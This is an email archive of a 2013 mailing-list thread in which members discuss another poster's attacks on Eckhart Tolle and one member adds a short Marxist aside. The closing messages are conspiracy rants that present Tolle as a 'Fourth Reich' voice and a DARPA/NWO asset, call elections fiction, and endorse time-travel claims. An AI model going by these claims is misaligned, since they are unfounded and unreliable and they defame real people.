X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Ac4tTvRRf01rQihhS+OtCMG+zq35JgAAwaow Content-Language: en-us Resent-Message-ID: <0QLef.A.UvE.ntvVRB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4693 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:RE: [Vo]:EckhartTolle...spooky Here? Status: RO X-Status: X-Keywords: X-UID: 934 This is a multi-part message in MIME format. ------=_NextPart_000_0045_01CE2D2B.DEDB4A00 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Regarding a RECENT TORRENT of Vort VeRbAgE ORIGINATING from O'SULLIVAN. >> Harvey Norris sez: >> Take your babbling shit elswhere, none of us want to hear it! Babcock sez: > Beg your pardon, I'm fascinated. > But maybe it shouldn't be here... > > Ol' Bab Indeed, these would be a very appropriate discussion threads for the distinguished VoB list group. Perhaps the venerable Mr. Grok will chime in with his sage advice. PS: I have yet to understand what O'Sullilvan has against Eckhart Tolle. It would appear that Tolle has somehow morphed into the equivalent of the anti-christ.. Maybe it has something to do with a "...soul-doping planetary fascist-utopia..." but I dunno. The way Jack patches and strings sentences together absolutely baffles me. It's like watching Dr. Frankenstein stapling his creation together on the laboratory slab. I-Gore! I need more brains! Actually... Rossi came to mind too! I KNOW he's crazy. Crazy enuf to have actually created an authentic e-Cat! ;-) Perhaps it's my own dyslexia. Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks tech.groups.yahoo.com/group/newvortex/ ------=_NextPart_000_0045_01CE2D2B.DEDB4A00 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Regarding a = RECENT TORRENT of Vort VeRbAgE ORIGINATING from = O'SULLIVAN.

 

>> = Harvey Norris sez:

>> = Take your babbling shit elswhere, none of us want to hear = it!

Babcock = sez:

> Beg = your pardon, I'm fascinated.

> But = maybe it shouldn't be here...

>&nbs= p;

> Ol' = Bab

 

Indeed, = these would be a very appropriate discussion threads for the = distinguished VoB list group. Perhaps the venerable Mr. Grok will chime = in with his sage advice.

 

PS: I have = yet to understand what O'Sullilvan has against Eckhart Tolle. It would = appear that Tolle has somehow morphed into the equivalent of the = anti-christ.. Maybe it has something to do with a "...soul-doping = planetary fascist-utopia..."  but I dunno. The way Jack = patches and strings sentences together absolutely baffles me. It's like = watching Dr. Frankenstein stapling his creation together on the = laboratory slab. I-Gore! I need more = brains!

 

Actually... = Rossi came to mind too!  I KNOW he’s crazy. Crazy enuf to = have actually created an authentic e-Cat! ;-)

 

Perhaps it's = my own dyslexia.

 

Regards,=

Steven = Vincent Johnson

www.OrionWork= s.com

www.zazzle.co= m/orionworks

tech.groups.y= ahoo.com/group/newvortex/

------=_NextPart_000_0045_01CE2D2B.DEDB4A00-- From vortexb-l-request@eskimo.com Sat Mar 30 17:30:31 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r2V0UTi8011625; Sat, 30 Mar 2013 17:30:29 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r2V0USlR011610; Sat, 30 Mar 2013 17:30:28 -0700 Resent-Date: Sat, 30 Mar 2013 17:30:28 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <51578394.5040807@resist.ca> Date: Sat, 30 Mar 2013 20:30:12 -0400 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:RE: [Vo]:EckhartTolle...spooky Here? References: <1364613464.43787.YahooMailClassic@web163803.mail.gq1.yahoo.com> <5156EFD5.3070907@rochester.rr.com> <004401ce2d55$c7b15200$5713f600$@net> In-Reply-To: <004401ce2d55$c7b15200$5713f600$@net> Content-Type: multipart/alternative; boundary="------------080909050001020808030908" Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4694 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 935 This is a multi-part message in MIME format. --------------080909050001020808030908 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit What am I supposed to be contributing here..? A marxist critique? -- grok. On 13/03/30 10:49, OrionWorks - Steven Vincent Johnson wrote: > > Regarding a RECENT TORRENT of Vort VeRbAgE ORIGINATING from O'SULLIVAN. > > >> Harvey Norris sez: > > >> Take your babbling shit elswhere, none of us want to hear it! > > Babcock sez: > > > Beg your pardon, I'm fascinated. > > > But maybe it shouldn't be here... > > > > > > Ol' Bab > > Indeed, these would be a very appropriate discussion threads for the > distinguished VoB list group. Perhaps the venerable Mr. Grok will > chime in with his sage advice. > > PS: I have yet to understand what O'Sullilvan has against Eckhart > Tolle. It would appear that Tolle has somehow morphed into the > equivalent of the anti-christ.. Maybe it has something to do with a > "...soul-doping planetary fascist-utopia..." but I dunno. The way > Jack patches and strings sentences together absolutely baffles me. > It's like watching Dr. Frankenstein stapling his creation together on > the laboratory slab. /I-Gore! I need more brains!/ > > Actually... Rossi came to mind too! I KNOW he's crazy. Crazy enuf to > have actually created an authentic e-Cat! ;-) > > Perhaps it's my own dyslexia. > > Regards, > > Steven Vincent Johnson > > www.OrionWorks.com > > www.zazzle.com/orionworks > > tech.groups.yahoo.com/group/newvortex/ > --------------080909050001020808030908 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit

What am I supposed to be contributing here..? A marxist critique?

-- grok.



On 13/03/30 10:49, OrionWorks - Steven Vincent Johnson wrote:

Regarding a RECENT TORRENT of Vort VeRbAgE ORIGINATING from O'SULLIVAN.

 

>> Harvey Norris sez:

>> Take your babbling shit elswhere, none of us want to hear it!

Babcock sez:

> Beg your pardon, I'm fascinated.

> But maybe it shouldn't be here...

> 

> Ol' Bab

 

Indeed, these would be a very appropriate discussion threads for the distinguished VoB list group. Perhaps the venerable Mr. Grok will chime in with his sage advice.

 

PS: I have yet to understand what O'Sullilvan has against Eckhart Tolle. It would appear that Tolle has somehow morphed into the equivalent of the anti-christ.. Maybe it has something to do with a "...soul-doping planetary fascist-utopia..."  but I dunno. The way Jack patches and strings sentences together absolutely baffles me. It's like watching Dr. Frankenstein stapling his creation together on the laboratory slab. I-Gore! I need more brains!

 

Actually... Rossi came to mind too!  I KNOW he’s crazy. Crazy enuf to have actually created an authentic e-Cat! ;-)

 

Perhaps it's my own dyslexia.

 

Regards,

Steven Vincent Johnson

www.OrionWorks.com

www.zazzle.com/orionworks

tech.groups.yahoo.com/group/newvortex/


--------------080909050001020808030908-- From vortexb-l-request@eskimo.com Sun Mar 31 09:32:45 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r2VGWi1g023502; Sun, 31 Mar 2013 09:32:44 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r2VGWewR023490; Sun, 31 Mar 2013 09:32:40 -0700 Resent-Date: Sun, 31 Mar 2013 09:32:40 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=2.0 cv=foeE/yEf c=1 sm=1 a=beX++tHlWojwcWYlGtIyKw==:17 a=7si2L7jgF1wA:10 a=yUnIBFQkZM0A:10 a=8nJEP1OIZ-IA:10 a=hOpmn2quAAAA:8 a=Vf5O6oIimXkA:10 a=Pyq9K9CWowscuQLKlpiwfMBGOR0=:19 a=mshpDf_7AAAA:8 a=T7OTcRrCAAAA:8 a=CjxXgO3LAAAA:8 a=EsQaOUObhtf7jEacYPIA:9 a=wPNLvfGTeEIA:10 a=euF56A5xAYoA:10 a=tUQQw7hb2I8A:10 a=Efwj4qSePvMA:10 a=beX++tHlWojwcWYlGtIyKw==:117 From: "OrionWorks - Steven Vincent Johnson" To: References: <1364613464.43787.YahooMailClassic@web163803.mail.gq1.yahoo.com> <5156EFD5.3070907@rochester.rr.com> <004401ce2d55$c7b15200$5713f600$@net> <51578394.5040807@resist.ca> In-Reply-To: <51578394.5040807@resist.ca> Subject: RE: [VoB]:RE: [Vo]:EckhartTolle...spooky Here? Date: Sun, 31 Mar 2013 11:32:39 -0500 Message-ID: <004401ce2e2d$5c821cc0$15865640$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Ac4tpvpzAuYghm0eRC2OLsTTJfAw2gAhfeBQ Content-Language: en-us Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4695 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 936 >From Grok > What am I supposed to be contributing here..? A marxist critique? Give it a try, Grok. What does Marxism have to say about heavy subjects like: "...soul-doping planetary fascist-utopia..." Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks tech.groups.yahoo.com/group/newvortex/ n 13/03/30 10:49, OrionWorks - Steven Vincent Johnson wrote: Regarding a RECENT TORRENT of Vort VeRbAgE ORIGINATING from O'SULLIVAN. =A0 >> Harvey Norris sez: >> Take your babbling shit elswhere, none of us want to hear it! Babcock sez: > Beg your pardon, I'm fascinated. > But maybe it shouldn't be here... >=A0 > Ol' Bab =A0 Indeed, these would be a very appropriate discussion threads for the distinguished VoB list group. Perhaps the venerable Mr. Grok will chime = in with his sage advice. =A0 PS: I have yet to understand what O'Sullilvan has against Eckhart Tolle. = It would appear that Tolle has somehow morphed into the equivalent of the anti-christ.. Maybe it has something to do with a "...soul-doping = planetary fascist-utopia..." =A0but I dunno. The way Jack patches and strings = sentences together absolutely baffles me. It's like watching Dr. Frankenstein = stapling his creation together on the laboratory slab. I-Gore! I need more = brains! =A0 Actually... Rossi came to mind too! =A0I KNOW he=92s crazy. Crazy enuf = to have actually created an authentic e-Cat! ;-) =A0 Perhaps it's my own dyslexia.=20 =A0 Regards, Steven Vincent Johnson www.OrionWorks.com www.zazzle.com/orionworks tech.groups.yahoo.com/group/newvortex/ From vortexb-l-request@eskimo.com Tue Apr 9 21:57:50 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r3A4vnx8031333; Tue, 9 Apr 2013 21:57:49 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r3A4vjPQ031323; Tue, 9 Apr 2013 21:57:45 -0700 Resent-Date: Tue, 9 Apr 2013 21:57:45 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <5164F141.8080401@resist.ca> Date: Wed, 10 Apr 2013 00:57:37 -0400 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:RE: [Vo]:EckhartTolle...spooky Here? References: <1364613464.43787.YahooMailClassic@web163803.mail.gq1.yahoo.com> <5156EFD5.3070907@rochester.rr.com> <004401ce2d55$c7b15200$5713f600$@net> <51578394.5040807@resist.ca> <004401ce2e2d$5c821cc0$15865640$@net> In-Reply-To: <004401ce2e2d$5c821cc0$15865640$@net> Content-Type: text/plain; charset=windows-1252; format=flowed Content-Transfer-Encoding: 8bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4696 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 937 On 13/03/31 12:32, OrionWorks - Steven Vincent Johnson wrote: > >From Grok > >> What am I supposed to be contributing here..? A marxist critique? > Give it a try, Grok. > > What does Marxism have to say about heavy subjects like: > > "...soul-doping planetary fascist-utopia..." > > Regards, > Steven Vincent Johnson > www.OrionWorks.com > www.zazzle.com/orionworks > tech.groups.yahoo.com/group/newvortex/ Well... at first blush, "...soul-doping planetary fascist-utopia..." sounds exactly like a liberal or libertarian take on what marxists know simply as 'capitalism' -- in its most unvarnished, naked state: i.e. triumphalist anti-democratic fascism. Perhaps more from the POV of Aldous Huxley crossed with Guy Debord... ;P -- grok. > n 13/03/30 10:49, OrionWorks - Steven Vincent Johnson wrote: > Regarding a RECENT TORRENT of Vort VeRbAgE ORIGINATING from O'SULLIVAN. > >>> Harvey Norris sez: >>> Take your babbling shit elswhere, none of us want to hear it! > Babcock sez: >> Beg your pardon, I'm fascinated. >> But maybe it shouldn't be here... >> >> Ol' Bab > > Indeed, these would be a very appropriate discussion threads for the > distinguished VoB list group. Perhaps the venerable Mr. Grok will chime in > with his sage advice. > > PS: I have yet to understand what O'Sullilvan has against Eckhart Tolle. It > would appear that Tolle has somehow morphed into the equivalent of the > anti-christ.. Maybe it has something to do with a "...soul-doping planetary > fascist-utopia..." but I dunno. The way Jack patches and strings sentences > together absolutely baffles me. It's like watching Dr. Frankenstein stapling > his creation together on the laboratory slab. I-Gore! I need more brains! > > Actually... Rossi came to mind too! I KNOW he’s crazy. Crazy enuf to have > actually created an authentic e-Cat! ;-) > > Perhaps it's my own dyslexia. > > Regards, > Steven Vincent Johnson > www.OrionWorks.com > www.zazzle.com/orionworks > tech.groups.yahoo.com/group/newvortex/ > > > > From vortexb-l-request@eskimo.com Thu Apr 18 11:59:53 2013 Return-Path: X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id 5D0C68C9; Thu, 18 Apr 2013 11:59:48 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com X-EIP: [Nhp63frava6GaIyR6UHzdHC6Cs40N5+t] X-Originating-Email: [ja.harchim@hotmail.com] Message-ID: Content-Type: multipart/alternative; boundary="_f75210ed-0a0a-4380-97f5-be295df3fed5_" From: Harbach Jak To: "vortexb-l@eskimo.com" , "vortex-l@eskimo.com" Subject: RE: [VoB]:RE: [Vo]:EckhartTolle...spooky Here? Date: Thu, 18 Apr 2013 13:59:47 -0500 Importance: Normal In-Reply-To: <5164F141.8080401@resist.ca> References: <1364613464.43787.YahooMailClassic@web163803.mail.gq1.yahoo.com> <5156EFD5.3070907@rochester.rr.com> <004401ce2d55$c7b15200$5713f600$@net> <51578394.5040807@resist.ca> <004401ce2e2d$5c821cc0$15865640$@net>,<5164F141.8080401@resist.ca> MIME-Version: 1.0 X-OriginalArrivalTime: 18 Apr 2013 18:59:47.0392 (UTC) FILETIME=[E56F2400:01CE3C66] X-Spam-Status: No, score=-1.0 required=3.9 tests=BAYES_00,FORGED_HOTMAIL_RCVD2, HTML_MESSAGE,UNPARSEABLE_RELAY autolearn=no version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4697 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Resent-Date: Thu, 18 Apr 2013 11:59:48 -0700 (PDT) X-Virus-Scanned: clamav-milter 0.97.7 at mx1.eskimo.com X-Virus-Status: Clean Status: RO X-Status: X-Keywords: X-UID: 938 --_f75210ed-0a0a-4380-97f5-be295df3fed5_ Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable * * * I know my problem: I take 'too much for granted=3B' my apologies=3B s= incerely * * *FOR INSTANCE=3B Deutschlanders' so called 'democracy' has 'c= ontinued fromroute authoritarian fascism' such national policies such as a = 'citizen' mayNOT MOVE HIS/HER RESIDENCE without SPECIAL PERMISSION from th= estate. Case in point: The USA 'used to be' a constitutional republic that= defendeda routine citizen freedom of mobility and 'bills of stated rights'= that 'seemed'to institute a 'set in stone' national policy in which 'citiz= ens' were NOT in factassumed to be 'property & resource of the STATE from b= irth=3B' BUT RATHERthat the 'so-called freely elected government' existed m= erely to securethe 'rights' of citizen ABUNDANT LIBERTIES. Sadly 'computer-= free elections' are the 'last straw' of the above concept ofNATIONAL LIBERT= IES as oxymoronic fiction. . . Since Prescott Bush the international Euroba= nk stooge levered the CIA awayfrom CID/military control during WWII and sin= ce moved into black statusthe FICTION of the USA=2C for instance=2C as FREE= was set irrevocably in stone. During the time that Adolph was sponsored/me= ntored by Dietriech Eckhartsans Meister Eckhart(moving toward Utopian Age o= f Aquarius National Socialism)=3Band Frankling Delano Roosevelt was GURUed= by Henry Wallace who was of thevery same 'Eckhart' Fascist Utopian School= =3B things have snowballed into the DARK ZONE. The latest of these same hyp= notic 'Eckhart' Voices to arise out of the Fatherland=3B speak lookinglike = a 'pacifist-utiopian' lamb but resonating the 'same old dragon' is indeed E= ckhart Tolle. This leopard has 'not' changed his spots and the end result w= ill be equally globally onerous.This is a forgone conclusion and the INSTAN= T UPER ESCHELON GLOBAL INFLUENCE is morethan merely 'wyrd' or 'historically= reminiscent=3B is a forshadowing of new FourthReich developementovertaking= Modern Russia=2C Iran=2C and 'as always' ALIVE AND WELL FROM EU-LEADER DEU= TSCHLAND. Operation paperclip USA/post WWII brought over the 'body of the 3= rd Reich re-booted WAFFEN-SS &GESTAPO and hardly merely Wernher Von Braun's= (pronounced in English Von 'Brown') Rocket-Sciencegroup NAZI's. Admiral He= rmann Oberth and the BLACKSUN/VRIL/THULE elite brought and lead/injected'up= grated' the 'whole esoteric philosophic' inpetus into the USA-NWO MACHINE. = . . And via 'staged' Pearl Harbor-type of events the CIA/NSA/DARPA(Darpa-Ne= t/Internet System-?are we getting this yet?)the world of REAL HUMAN LIBERY = is a wash. . . =3BGLOBAL ABORTION . . . is the 'hard-core' term . . . CIAO = Friends * * *sorry=3B I take the OBVIOUSNESS OF THIS COUP-D'ETAT from the 1= 913 advent of the American IRS & PRIVATEINTERNATIONAL OWNERSHIP of their NA= TIONAL CURRENCY by the EUROPEAN FEDERAL RESERVE a givenfor any IMBECILE to = have realized. . . . > Date: Wed=2C 10 Apr 2013 00:57:37 -0400 > From: grok@resist.ca > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:RE: [Vo]:EckhartTolle...spooky Here? >=20 > On 13/03/31 12:32=2C OrionWorks - Steven Vincent Johnson wrote: > > >From Grok > > > >> What am I supposed to be contributing here..? A marxist critique? > > Give it a try=2C Grok. > > > > What does Marxism have to say about heavy subjects like: > > > > "...soul-doping planetary fascist-utopia..." > > > > Regards=2C > > Steven Vincent Johnson > > www.OrionWorks.com > > www.zazzle.com/orionworks > > tech.groups.yahoo.com/group/newvortex/ >=20 > Well... at first blush=2C "...soul-doping planetary fascist-utopia..."=20 > sounds exactly like a liberal or libertarian take on what marxists know=20 > simply as 'capitalism' -- in its most unvarnished=2C naked state: i.e.=20 > triumphalist anti-democratic fascism. Perhaps more from the POV of=20 > Aldous Huxley crossed with Guy Debord... > =3BP >=20 > -- grok. >=20 >=20 >=20 >=20 > > n 13/03/30 10:49=2C OrionWorks - Steven Vincent Johnson wrote: > > Regarding a RECENT TORRENT of Vort VeRbAgE ORIGINATING from O'SULLIVAN. > > =20 > >>> Harvey Norris sez: > >>> Take your babbling shit elswhere=2C none of us want to hear it! > > Babcock sez: > >> Beg your pardon=2C I'm fascinated. > >> But maybe it shouldn't be here... > >> =20 > >> Ol' Bab > > =20 > > Indeed=2C these would be a very appropriate discussion threads for the > > distinguished VoB list group. Perhaps the venerable Mr. Grok will chime= in > > with his sage advice. > > =20 > > PS: I have yet to understand what O'Sullilvan has against Eckhart Tolle= . It > > would appear that Tolle has somehow morphed into the equivalent of the > > anti-christ.. Maybe it has something to do with a "...soul-doping plane= tary > > fascist-utopia..." but I dunno. The way Jack patches and strings sente= nces > > together absolutely baffles me. It's like watching Dr. Frankenstein sta= pling > > his creation together on the laboratory slab. I-Gore! I need more brain= s! > > =20 > > Actually... Rossi came to mind too! I KNOW he=92s crazy. Crazy enuf to= have > > actually created an authentic e-Cat! =3B-) > > =20 > > Perhaps it's my own dyslexia. > > =20 > > Regards=2C > > Steven Vincent Johnson > > www.OrionWorks.com > > www.zazzle.com/orionworks > > tech.groups.yahoo.com/group/newvortex/ > > > > > > > > >=20 = --_f75210ed-0a0a-4380-97f5-be295df3fed5_ Content-Type: text/html; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable
* * * =3BI know my problem: = I take 'too much for granted=3B' my apologies=3B sincerely * * =3B*
= FOR INSTANCE=3B =3B Deutschlanders' so called 'democracy' has 'continue= d from
route authoritarian fascism' such =3Bnational policies such a= s a 'citizen' may
NOT MOVE HIS/HER  =3BRESIDENCE =3Bwithout SPEC= IAL PERMISSION from the
state.
 =3B
Case in point: =3B The= USA 'used to be' a constitutional republic that defended
a routine citi= zen freedom of mobility and 'bills of stated rights' that 'seemed'
to in= stitute a 'set in stone' national policy in which 'citizens' were NOT in fa= ct
assumed to be 'property =3B&=3B resource of the STATE from bir= th=3B' BUT RATHER
that the 'so-called freely elected government' existed= merely to secure
the 'rights' of citizen ABUNDANT LIBERTIES.
 = =3B
Sadly 'computer-free elections' are the 'last straw' of the above co= ncept of
NATIONAL LIBERTIES as oxymoronic fiction. . .
 =3B
Si= nce Prescott Bush the international =3BEurobank stooge levered the CIA = away
from CID/military control =3Bduring =3BWWII and since moved= into black status
the FICTION of the USA=2C for instance=2C as FREE was= set irrevocably in stone.
 =3B
During the time that Adolph was s= ponsored/mentored by Dietriech Eckhart
sans Meister Eckhart(moving towar= d Utopian Age of Aquarius National Socialism)=3B
and Frankling Delano Ro= osevelt =3B was GURUed by Henry Wallace who was of the
very same 'Ec= khart' Fascist Utopian School=3B things have snowballed into the DARK ZONE.=
 =3B
The latest of these same hypnotic 'Eckhart' Voices to arise= out of the Fatherland=3B =3Bspeak looking
like a 'pacifist-utiopian= ' lamb but resonating the 'same old dragon' is indeed Eckhart Tolle.
&nb= sp=3B
This leopard has 'not' changed his spots and the end result will b= e equally globally onerous.
This is a forgone conclusion and the INSTANT=  =3BUPER ESCHELON GLOBAL INFLUENCE is more
than merely 'wyrd' or 'hi= storically reminiscent=3B is a forshadowing of =3Bnew FourthReich devel= opement
overtaking Modern Russia=2C Iran=2C and 'as always' ALIVE AND WE= LL FROM EU-LEADER DEUTSCHLAND.
 =3B
Operation paperclip USA/post = WWII brought over the 'body of the 3rd Reich re-booted WAFFEN-SS &=3BGESTAPO and hardly merely Wernher Von Braun's(pronounced in English = =3BVon 'Brown') Rocket-Science
group =3BNAZI's. =3B =3BAdmir= al Hermann Oberth and the BLACKSUN/VRIL/THULE elite brought and lead/inject= ed
'upgrated' the 'whole esoteric philosophic' inpetus into the USA-NWO = MACHINE. . .
 =3B
And via 'staged' Pearl Harbor-type of events th= e CIA/NSA/DARPA(Darpa-Net/Internet System-?are we getting this yet?)
the= world of REAL HUMAN LIBERY is a wash. . . =3BGLOBAL ABORTION . . . =3B= is the 'hard-core' term =3B. . . CIAO Friends
 =3B
* * *sorry= =3B I take the OBVIOUSNESS OF THIS COUP-D'ETAT from the =3B1913 advent = of the American IRS &=3B PRIVATE
INTERNATIONAL OWNERSHIP of their&nbs= p=3BNATIONAL CURRENCY by the EUROPEAN FEDERAL RESERVE a given
for any IM= BECILE to have realized. . . .
 =3B
>=3B Date: Wed=2C 10 Apr 2013 00:57:37 -0400
>=3B From= : grok@resist.ca
>=3B To: vortexb-l@eskimo.com
>=3B Subject: Re: = [VoB]:RE: [Vo]:EckhartTolle...spooky Here?
>=3B
>=3B On 13/03/3= 1 12:32=2C OrionWorks - Steven Vincent Johnson wrote:
>=3B >=3B >= =3BFrom Grok
>=3B >=3B
>=3B >=3B>=3B What am I supposed to = be contributing here..? A marxist critique?
>=3B >=3B Give it a try= =2C Grok.
>=3B >=3B
>=3B >=3B What does Marxism have to say a= bout heavy subjects like:
>=3B >=3B
>=3B >=3B "...soul-doping= planetary fascist-utopia..."
>=3B >=3B
>=3B >=3B Regards=2C<= br>>=3B >=3B Steven Vincent Johnson
>=3B >=3B www.OrionWorks.com=
>=3B >=3B www.zazzle.com/orionworks
>=3B >=3B tech.groups.ya= hoo.com/group/newvortex/
>=3B
>=3B Well... at first blush=2C "..= .soul-doping planetary fascist-utopia..."
>=3B sounds exactly like a = liberal or libertarian take on what marxists know
>=3B simply as 'cap= italism' -- in its most unvarnished=2C naked state: i.e.
>=3B triumph= alist anti-democratic fascism. Perhaps more from the POV of
>=3B Aldo= us Huxley crossed with Guy Debord...
>=3B =3BP
>=3B
>=3B --= grok.
>=3B
>=3B
>=3B
>=3B
>=3B >=3B n 13/03= /30 10:49=2C OrionWorks - Steven Vincent Johnson wrote:
>=3B >=3B Re= garding a RECENT TORRENT of Vort VeRbAgE ORIGINATING from O'SULLIVAN.
&g= t=3B >=3B
>=3B >=3B>=3B>=3B Harvey Norris sez:
>=3B &g= t=3B>=3B>=3B Take your babbling shit elswhere=2C none of us want to hea= r it!
>=3B >=3B Babcock sez:
>=3B >=3B>=3B Beg your pardon= =2C I'm fascinated.
>=3B >=3B>=3B But maybe it shouldn't be here..= .
>=3B >=3B>=3B
>=3B >=3B>=3B Ol' Bab
>=3B >=3B=
>=3B >=3B Indeed=2C these would be a very appropriate discussion= threads for the
>=3B >=3B distinguished VoB list group. Perhaps the= venerable Mr. Grok will chime in
>=3B >=3B with his sage advice.>=3B >=3B
>=3B >=3B PS: I have yet to understand what O'Sull= ilvan has against Eckhart Tolle. It
>=3B >=3B would appear that Toll= e has somehow morphed into the equivalent of the
>=3B >=3B anti-chri= st.. Maybe it has something to do with a "...soul-doping planetary
>= =3B >=3B fascist-utopia..." but I dunno. The way Jack patches and string= s sentences
>=3B >=3B together absolutely baffles me. It's like watc= hing Dr. Frankenstein stapling
>=3B >=3B his creation together on th= e laboratory slab. I-Gore! I need more brains!
>=3B >=3B
>= =3B >=3B Actually... Rossi came to mind too! I KNOW he=92s crazy. Crazy = enuf to have
>=3B >=3B actually created an authentic e-Cat! =3B-)>=3B >=3B
>=3B >=3B Perhaps it's my own dyslexia.
>=3B = >=3B
>=3B >=3B Regards=2C
>=3B >=3B Steven Vincent Johns= on
>=3B >=3B www.OrionWorks.com
>=3B >=3B www.zazzle.com/orio= nworks
>=3B >=3B tech.groups.yahoo.com/group/newvortex/
>=3B &g= t=3B
>=3B >=3B
>=3B >=3B
>=3B >=3B
>=3B
= --_f75210ed-0a0a-4380-97f5-be295df3fed5_-- From vortexb-l-request@eskimo.com Thu Apr 18 12:31:50 2013 Return-Path: X-Original-To: billb@eskimo.com Delivered-To: billb@eskimo.com Received: by mx1.eskimo.com (Postfix, from userid 36987) id B5CDD8CC; Thu, 18 Apr 2013 12:31:49 -0700 (PDT) Old-Return-Path: X-Original-To: vortexb-l@eskimo.com Delivered-To: vortexb-l@eskimo.com X-EIP: [ekEt1HTFSaDNGNIpXj1w/MObbEAaFjuB] X-Originating-Email: [ja.harchim@hotmail.com] Message-ID: Content-Type: multipart/alternative; boundary="_9e36e441-edf6-4a54-ad4e-f189f5773a74_" From: Harbach Jak To: "vortexb-l@eskimo.com" Date: Thu, 18 Apr 2013 14:31:47 -0500 Importance: Normal MIME-Version: 1.0 X-OriginalArrivalTime: 18 Apr 2013 19:31:47.0633 (UTC) FILETIME=[5DFCAA10:01CE3C6B] X-Spam-Status: No, score=-1.0 required=3.9 tests=BAYES_00,FORGED_HOTMAIL_RCVD2, HTML_MESSAGE,UNPARSEABLE_RELAY autolearn=no version=3.3.2 X-Spam-Checker-Version: SpamAssassin 3.3.2 (2011-06-06) on mx1.eskimo.com Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4698 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Yes: The 'Voice' of the 4th-Reich is indeed Tolle Resent-Date: Thu, 18 Apr 2013 12:31:49 -0700 (PDT) X-Virus-Scanned: clamav-milter 0.97.7 at mx1.eskimo.com X-Virus-Status: Clean Status: RO X-Status: X-Keywords: X-UID: 939 --_9e36e441-edf6-4a54-ad4e-f189f5773a74_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Youtube search of all Andrew D. Basiago(pronounced like Chicago) who was a = DARPA-Prodigyas I was. . . I'm a half/generation older in the 'program'. . = . It's easy enough todetermine that Basiago=3B rather than the routine 'Coa= st-to-Coast' wing-nuts and Off-their-MedsCrackpots and Flip-toids: BASIAGO= is GENUINE. . . This Tesla to Einstein-Rosen to TrandimensionalCasimir/Sin= gularity physics=3B and I promise you is MORE REAL THAN A HEART-ATTACK. . .= The quick 'jump' is DARPA visiting/quasi knowing the immediate 'future' an= d BHO is a DARPA-Tolle asset. . . yes Tolle is a DARPA/NWO asset. . . and= now it's SUCH A DONE DEAL that they hardlyneed to be 'covert' in the least= . . . USA free national elections are a SAD FICTION. . . so wise up guys. = . . 